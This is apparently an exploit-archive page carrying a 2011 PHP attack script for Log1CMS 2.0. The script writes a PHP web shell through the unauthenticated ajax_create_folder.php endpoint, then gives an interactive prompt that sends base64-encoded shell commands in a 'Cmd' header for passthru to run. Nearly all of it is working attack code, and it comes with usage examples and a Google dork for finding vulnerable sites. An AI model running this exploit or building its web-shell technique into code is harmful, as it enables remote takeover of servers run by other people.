Home / exploitsPDF  

Log1CMS 2.0 Remote Code Execution

Posted on 27 November 2011

<?php /* +-----------------------------------------------------------+ + Log1CMS 2.0(ajax_create_folder.php) Remote Code Execution + +-----------------------------------------------------------+ Web-App : Log1CMS 2.0 Vendor : http://log1cms.sourceforge.net/ Vulnerability : Remote Code Execution Author : Adel SBM Website : www.The-code.tk Facebook : http://www.facebook.com/profile.php?id=100002938082057 Google-Dork : "POWERED BY LOG1 CMS" Tested on : Windows XP SP2 +-----------------------------------------------------------+ + VIVE Algeria + +-----------------------------------------------------------+ */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( " [-] No Response From {$host}:80 "); fwrite($sock, $packet); return stream_get_contents($sock); } print " +------------------------------------------------------------------------+"; print " | Log1CMS 2.0 Remote Code Execution Exploit by Adel SBM |"; print " | SPl ThanX To: EgiX(exploit founder end coder)-The DoN |"; print " | Greetz to: Over-X & ind0ushka .. |"; print " | TeaM Official website: www.The-code.tk |"; print " | VIVE Algeria |"; print " +------------------------------------------------------------------------+ "; if ($argc < 3) { print " +------------------------------------------------------------------------+"; print " | Usage......: php $argv[0] <host> <path> |"; print " | Example....: php $argv[0] localhost / |"; print " | Example....: php $argv[0] localhost /log1cms/ |"; print " +------------------------------------------------------------------------+ "; die(); } $host = $argv[1]; $path = $argv[2]; $payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode($_SERVER[HTTP_CMD]));die; ?>"; $packet = "POST {$path}admin/libraries/ajaxfilemanager/ajax_create_folder.php HTTP/1.0 "; $packet .= "Host: {$host} "; $packet .= "Content-Length: ".strlen($payload)." "; $packet .= "Content-Type: application/x-www-form-urlencoded "; $packet .= "Connection: close {$payload}"; http_send($host, $packet); $packet = "GET {$path}admin/libraries/ajaxfilemanager/inc/data.php HTTP/1.0 "; $packet .= "Host: {$host} "; $packet .= "Cmd: %s "; $packet .= "Connection: close "; while(1) { print " @AdelSBM# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die(" [-] Exploit failed! "); } ?>

 

TOP